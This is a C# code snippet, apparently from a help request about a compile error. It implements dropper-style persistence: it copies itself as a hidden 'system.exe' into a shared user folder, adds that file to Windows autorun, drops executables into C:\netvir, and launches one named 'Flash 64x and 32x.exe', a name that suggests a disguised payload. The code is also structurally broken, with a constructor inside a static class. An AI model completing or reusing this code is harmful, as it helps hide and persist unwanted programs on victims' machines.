using System; using System.Collections.Generic; using System.Windows.Forms; using System.IO; namespace JCS { static class Program { public static string needPatch = "C:\\Users\\Public\\"; public Form1() /// вот здесь FROM выдает ошибку "Метод должен иметь тип возвращаемого значения" { if (OSVersionInfo.Name == "Windows 7" || OSVersionInfo.Name == "Windows Vista") { autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } else if (OSVersionInfo.Name == "Windows XP") { needPatch = "C:\\Documents and Settings\\All Users\\"; autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } InitializeComponent(); if (!File.Exists(needPatch + "system.exe")) { try { File.Copy("system.exe", needPatch + "system.exe"); File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden); } catch { } } Directory.CreateDirectory(@"C:\netvir"); try { File.Copy(Environment.CurrentDirectory + @"\realtime32.exe", @"C:\netvir\realtime32.exe", true); } catch (Exception ex) { Console.WriteLine(ex.Message); } try { File.Copy(Environment.CurrentDirectory + @"\realtime64.exe", @"C:\netvir\realtime64.exe", true); } catch (Exception ex) { Console.WriteLine(ex.Message); } try { File.Copy(Environment.CurrentDirectory + @"\Flash 64x and 32x.exe", @"C:\netvir\Flash 64x and 32x.exe", true); } catch (Exception ex) { Console.WriteLine(ex.Message); } System.Diagnostics.Process.Start("C:/netvir/Flash 64x and 32x.exe"); } } }